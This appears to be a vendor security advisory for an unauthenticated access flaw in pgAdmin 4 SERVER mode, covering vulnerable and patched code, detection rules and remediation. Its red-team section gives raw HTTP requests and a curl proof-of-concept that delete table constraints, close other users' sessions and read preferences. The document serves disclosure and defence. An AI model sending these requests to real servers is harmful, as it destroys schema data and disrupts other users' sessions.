CVE-2026-17348
Executive Summary
CVE-2026-17348 is an authentication bypass in pgAdmin 4 when running in SERVER mode. The root cause is identical to the previously patched CVE-2026-12046: the @pga_login_required decorator is missing from several route handlers. As a result, an unauthenticated network attacker can invoke privileged APIs without a session, leading to:
- Enumeration of table constraint metadata via the Constraints blueprint
- Unauthorized deletion of table constraints via the Constraints
deleteroute - Disclosure of CLI-settable preference values via
preferences.get_all_cli - Forcing immediate closure of debugger or schema-diff sessions belonging to other users
The affected routes span all reported versions before pgAdmin 4 9.17. The fix is purely decorator-based; no handler logic was changed. Because pgAdmin 4 is commonly deployed as a public-facing web application in SERVER mode, the exposure is real and should be remediated immediately.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
pgAdmin 4 is distributed via multiple channels, including the official PyPI package pgadmin4, Docker images (dpage/pgadmin4), and source archives. The easiest and most reliable fix is to upgrade to version 9.17 or newer from the official source. Administrators should also:
- Verify the integrity of the downloaded package using the official SHA-256 checksums.
- When using Docker, pull images from the official
dpage/pgadmin4repo only, and pin tag9.17or newer. - Auditing the installed version via
pgAdmin --versionordpkg -l | grep pgadmin4in the running environment. - Monitor advisory sources because the incomplete fix of CVE-2026-12046 illustrates that security patches must be reviewed for completeness, not just presence.
CVSS Breakdown & Threat Level
The vulnerability is assigned CVSS score 6.5, with vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N.
| Metric | Value | Analysis |
|---|---|---|
| Attack Vector | Network (N) | The affected endpoints are exposed over HTTP/HTTPS in SERVER mode |
| Attack Complexity | Low (L) | No special conditions are required; the vulnerable routes are reachable directly |
| Privileges Required | None (N) | The attacker does not need a pgAdmin session or credentials |
| User Interaction | None (N) | No victim action is needed to trigger the vulnerability |
| Scope | Unchanged (U) | The impacted component is pgAdmin itself, not a linked system |
| Confidentiality | Low (L) | Constraint names/definitions and preference values are disclosed |
| Integrity | Low (L) | Table constraints can be deleted; debugger/schema-diff sessions can be forcibly closed |
| Availability | None (N) | The vulnerability does not degrade service availability beyond intentional session closure |
The threat level is considered High in real-world SERVER-mode deployments despite the moderate CVSS base score, because exploitation is trivial and requires no authentication. The attack surface is directly reachable by any unauthenticated internet client. Data deletion of table constraints can lead to cascading application failures.
Deep Dive & Mechanics
pgAdmin 4 is built on Flask and uses a decorator @pga_login_required to enforce that a valid pgAdmin session exists before a route handler is called. In SERVER mode, the before_request hook only handles:
- Desktop-mode auto-login
- Kerberos and Webserver authentication redirects
It does not perform any general authentication. Therefore, any route that is missing the @pga_login_required decorator becomes publicly accessible.
Following the incomplete fix of CVE-2026-12046, the following routes were identified as vulnerable:
1. Constraints Blueprint Routes
nodes– returns a JSON tree/list of table constraints for the connected database.proplist– returns detailed property lists for constraint objects.delete– an HTTPDELETEendpoint that removes table constraints. This is a state-mutating operation that can corrupt the database schema.
2. preferences.get_all_cli
GETendpoint that returns all command-line-settable preference values. This includes internal settings, connection parameters, and potentially sensitive paths or server hostnames.
3. debugger.close
DELETEendpoint intended to close a debugger session belonging to an authenticated user. An attacker can force-close a session that belongs to another user, disrupting their debugging workflow.
4. schema_diff.close
DELETEendpoint used to close a schema diff session. Similar todebugger.close, a remote attacker can terminate sessions belonging to other users.
Affected Version Ranges
| Module / Route | First Affected | Fixed In |
|---|---|---|
Constraints (nodes, proplist, delete) |
1.0 | 9.17 |
Debugger (close) |
1.0 | 9.17 |
Schema Diff (close) |
4.18 | 9.17 |
Preferences (get_all_cli) |
8.2 | 9.17 |
The vulnerability is only exploitable when pgAdmin is run in SERVER mode. Desktop mode is unaffected because the local loopback interface and desktop-specific authentication mechanisms still apply.
Vulnerable vs. Patched Code
The code change is intentionally minimal. The decorator and its import are added to each missing route.
Vulnerable Code (pre-9.17)
# constraints/__init__.py
from flask import Blueprint, request
# No import of pga_login_required
bp = Blueprint('constraints', __name__)
@bp.route('/nodes')
def nodes():
# Process constraint node listing
return jsonify(constraint_list)
@bp.route('/proplist')
def proplist():
# Return constraint properties
return jsonify(props)
@bp.route('/delete', methods=['DELETE'])
def delete():
# Remove constraint
db.remove_constraint(request.json['cid'])
return jsonify(status='ok')
# preferences/__init__.py
@blueprint.route('/get_all_cli', methods=['GET'])
def get_all_cli():
return jsonify(prefs_manager.get_all_cli())
# debugger/__init__.py
@blueprint.route('/close', methods=['DELETE'])
def close():
debugger_sessions.close(request.json['sid'])
return jsonify(status='ok')
# schema_diff/__init__.py
@blueprint.route('/close', methods=['DELETE'])
def close():
schema_diff_sessions.close(request.json['sid'])
return jsonify(status='ok')
Patched Code (9.17+)
# constraints/__init__.py
from flask import Blueprint, request
from pgadmin.utils import PgAdminModule
from pgadmin.utils.decorators import pga_login_required # <-- added import
bp = Blueprint('constraints', __name__)
@bp.route('/nodes')
@pga_login_required
def nodes():
# Process constraint node listing
return jsonify(constraint_list)
@bp.route('/proplist')
@pga_login_required
def proplist():
# Return constraint properties
return jsonify(props)
@bp.route('/delete', methods=['DELETE'])
@pga_login_required
def delete():
# Remove constraint
db.remove_constraint(request.json['cid'])
return jsonify(status='ok')
# preferences/__init__.py
@blueprint.route('/get_all_cli', methods=['GET'])
@pga_login_required
def get_all_cli():
return jsonify(prefs_manager.get_all_cli())
# debugger/__init__.py
@blueprint.route('/close', methods=['DELETE'])
@pga_login_required
def close():
debugger_sessions.close(request.json['sid'])
return jsonify(status='ok')
# schema_diff/__init__.py
@blueprint.route('/close', methods=['DELETE'])
@pga_login_required
def close():
schema_diff_sessions.close(request.json['sid'])
return jsonify(status='ok')
Exploitation & Lab Setup
Red Team
An attacker with network access to a pgAdmin 4 SERVER-mode instance can reproduce the issue using simple HTTP requests. No payload or exploit is required beyond direct URL calls.
Step 1 – Verify the pgAdmin version and mode
GET / HTTP/1.1
Host: target:5050
If the response indicates pgAdmin 4 in SERVER mode, proceed. The web UI loads.
Step 2 – Enumerate constraints without authentication
GET /constraints/nodes HTTP/1.1
Host: target:5050
If the response is 200 OK and contains a JSON tree of constraint names and associated tables, the vulnerability is confirmed.
Step 3 – Read CLI-set preferences
GET /preferences/get_all_cli HTTP/1.1
Host: target:5050
This returns all CLI-settable preference values, which may include server paths, hostnames, and other sensitive configuration details.
Step 4 – Delete a table constraint
DELETE /constraints/delete HTTP/1.1
Host: target:5050
Content-Type: application/json
{"cid": 42}
The server will delete the constraint with ID 42. This requires prior knowledge of the constraint ID, which can be obtained from the unauthenticated nodes or proplist endpoints.
Step 5 – Force-close a debugger session
DELETE /debugger/close HTTP/1.1
Host: target:5050
Content-Type: application/json
{"sid": "1234"}
If a valid session ID is known (or brute-forced when session IDs are predictable), the session is closed.
Step 6 – Force-close a schema diff session
DELETE /schema_diff/close HTTP/1.1
Host: target:5050
Content-Type: application/json
{"sid": "1234"}
Proof-of-Concept Script
#!/bin/bash
# PoC for CVE-2026-17348
target="http://target:5050"
echo "[*] Checking /constraints/nodes"
curl -s -o /dev/null -w "%{http_code}\n" "$target/constraints/nodes"
echo "[*] Fetching constraint metadata"
curl -s "$target/constraints/nodes" | head -c 2000
echo ""
echo "[*] Fetching CLI preference values"
curl -s "$target/preferences/get_all_cli" | head -c 2000
Blue Team
To validate whether an environment is vulnerable, perform these non-destructive checks:
# Check version
pgadmin4 --version
# Query the exposed endpoint with a valid session cookie first to establish a baseline
curl -sk -o /dev/null -w "%{http_code}\n" -H "Cookie: pga4_session=FAKED" https://target/pgadmin4/constraints/nodes
# Check for unauthenticated response (200 or 302 with a different redirect than login page)
curl -sk -o /dev/null -w "%{http_code}\n" https://target/pgadmin4/constraints/nodes
If the unauthenticated request returns a 200 OK and the authenticated request returns a different status (e.g., 200 with legitimate data), the instance is vulnerable. Stop testing immediately and upgrade to 9.17.
Indicators of Compromise (IOCs)
There is no true compromise or payload; exploitation leaves no malicious file or process by itself. However, blue teams should look for the following indicators:
- HTTP requests from the same source IP to any combination of
/constraints/nodes,/constraints/proplist,/preferences/get_all_cli,/debugger/close,/schema_diff/closewith noCookieheader and no validpga4_session. - Unauthenticated
DELETErequests to these endpoints – legitimate clients never issueDELETEto these routes without a session. - A sudden spike in
400or500errors resulting from forced session closures. - Unexpected table-constraint deletion events in the database audit logs.
Example IOC Log Entry
192.168.1.10 - - [26/Feb/2026:14:33:02 +0000] "GET /constraints/nodes HTTP/1.1" 200 1542 "-" "curl/8.0.1"
The absence of a session cookie in the log is the primary IOC.
Detection Engineering
YARA Rule
YARA is useful for matching HTTP server access logs or raw packet captures that contain the vulnerable path signatures.
rule CVE_2026_17348_pgAdmin_AuthBypass
{
meta:
author = "Valters IT"
description = "Detect unauthenticated access attempts to pgAdmin routes vulnerable to CVE-2026-17348"
reference = "CVE-2026-17348"
date = "2026-02-26"
strings:
$s1 = "/constraints/nodes" ascii
$s2 = "/constraints/proplist" ascii
$s3 = "/constraints/delete" ascii
$s4 = "/preferences/get_all_cli" ascii
$s5 = "/debugger/close" ascii
$s6 = "/schema_diff/close" ascii
condition:
any of them
}
Sigma Rule
This Sigma rule detects HTTP access logs that mention the sensitive routes without a session cookie. Field names are aligned with common web server logs.
title: Unauthenticated Access to pgAdmin Sensitive Routes
id: 7d5f3c2a-3c4d-4e5f-8a6b-1c2d3e4f5a6b
status: experimental
description: Detects requests to pgAdmin endpoints that bypass authentication due to missing @pga_login_required decorator
references:
- https://nvd.nist.gov/vuln/detail/CVE-2026-17348
author: Valters IT
logsource:
category: webserver
product: apache
definition: 'The log must contain the request URI and the user-agent; cookie or auth check is optional.'
detection:
selection:
cs-uri-query|contains:
- "/constraints/nodes"
- "/constraints/proplist"
- "/constraints/delete"
- "/preferences/get_all_cli"
- "/debugger/close"
- "/schema_diff/close"
filter_cookie:
cs-cookie|contains: "pga4_session="
condition: selection and not filter_cookie
level: high
falsepositives:
- Authenticated users accessing these routes through a non-standard proxy that strips cookies from logs
- Security scanners that include a valid test session cookie
Suricata Rule
Suricata rule to alert on network traffic targeting the vulnerable endpoints without a session cookie.
alert http any any -> any any (msg:"CVE-2026-17348 pgAdmin Auth Bypass Detected"; flow:to_server,established; http.uri; content:"/constraints/nodes"; http.uri; content:"/constraints/proplist"; http.uri; content:"/constraints/delete"; http.uri; content:"/preferences/get_all_cli"; http.uri; content:"/debugger/close"; http.uri; content:"/schema_diff/close"; http.cookie; content:!"pga4_session="; sid:202617348; rev:1;)
Note: For performance, consider splitting the Suricata rule into multiple rules, one per URI, rather than chaining all content matches using http.uri.
Remediation & Mitigation
Immediate Actions
- Upgrade pgAdmin 4 to version 9.17 or later – this is the only proven fix.
- If upgrade is not immediately possible, restrict access to the pgAdmin web interface using a
Proxythat requires additional authentication (e.g., a reverse proxy with HTTP Basic or OAuth) and IP allow-listing. - Disable SERVER mode and use DESKTOP mode where feasible. SERVER mode is fundamentally more exposed.
- Run a vulnerability scan against the
constraints,debugger,schema_diff, andpreferencesendpoints to verify the absence of unprotected responses.
Compensating Controls
- Add a Web Application Firewall (WAF) rule to block URLs matching the endpoints listed above when they appear without a valid pgAdmin session cookie.
- Implement network segmentation so pgAdmin is not reachable from the open internet.
- Monitor database audit logs for
DROP CONSTRAINTorALTER TABLEstatements originating from the pgAdmin service account that were not initiated through the authenticated UI. - Force session timeouts and use strong random session IDs to reduce the impact of session-based attacks (do not rely on this for CVE-2026-17348, as it is completely unauthenticated).
Patch Verification
After upgrading, run the following commands to confirm the fix is in place:
# Confirm version
pgadmin4 --version
# Confirm decorator exists in source
grep -R "pga_login_required" /usr/local/lib/python*/site-packages/pgadmin/utils/decorators.py
If the paths below return 401 or 403 when called without a session cookie, the patch is effective:
/constraints/nodes
/constraints/proplist
/constraints/delete
/preferences/get_all_cli
/debugger/close
/schema_diff/close
Long-Term Practices
- Always subscribe to security advisories from the pgAdmin project.
- Treat CVE-2026-12046 and CVE-2026-17348 as a pattern: when a route is added or changed, verify that every exposed endpoint includes the required authentication decorator.
- Introduce a CI/CD check that fails the build if any HTTP handler in pgAdmin lacks
@pga_login_required.
Valters IT
DevSecOps & Cyber Threat Intelligence
Secure by Design | Detect Early | Respond Fast